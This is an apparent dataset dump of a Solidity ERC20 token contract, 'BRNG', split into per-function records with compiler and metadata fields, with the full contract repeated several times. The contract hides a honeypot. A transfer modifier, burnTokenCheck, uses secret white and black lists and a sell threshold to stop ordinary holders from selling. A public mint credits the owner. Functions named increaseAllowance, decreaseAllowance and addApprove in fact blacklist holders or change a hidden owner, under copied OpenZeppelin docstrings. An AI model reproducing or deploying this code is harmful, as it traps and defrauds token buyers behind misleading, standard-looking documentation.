the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
approve
function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; }
/** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e67e79d5d9259859a53dadd2ba5a58bc268df1ec21a3f7cd86d66ed054484d37
{ "func_code_index": [ 4070, 4244 ] }
14,113
BRNG
BRNG.sol
0xcf89258b3aeda18e8182f36800e0ab05de9408c4
Solidity
BRNG
contract BRNG is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
transferFrom
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; }
/** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e67e79d5d9259859a53dadd2ba5a58bc268df1ec21a3f7cd86d66ed054484d37
{ "func_code_index": [ 4713, 5043 ] }
14,114
BRNG
BRNG.sol
0xcf89258b3aeda18e8182f36800e0ab05de9408c4
Solidity
BRNG
contract BRNG is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
increaseAllowance
function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } }
/** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e67e79d5d9259859a53dadd2ba5a58bc268df1ec21a3f7cd86d66ed054484d37
{ "func_code_index": [ 5447, 5738 ] }
14,115
BRNG
BRNG.sol
0xcf89258b3aeda18e8182f36800e0ab05de9408c4
Solidity
BRNG
contract BRNG is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: 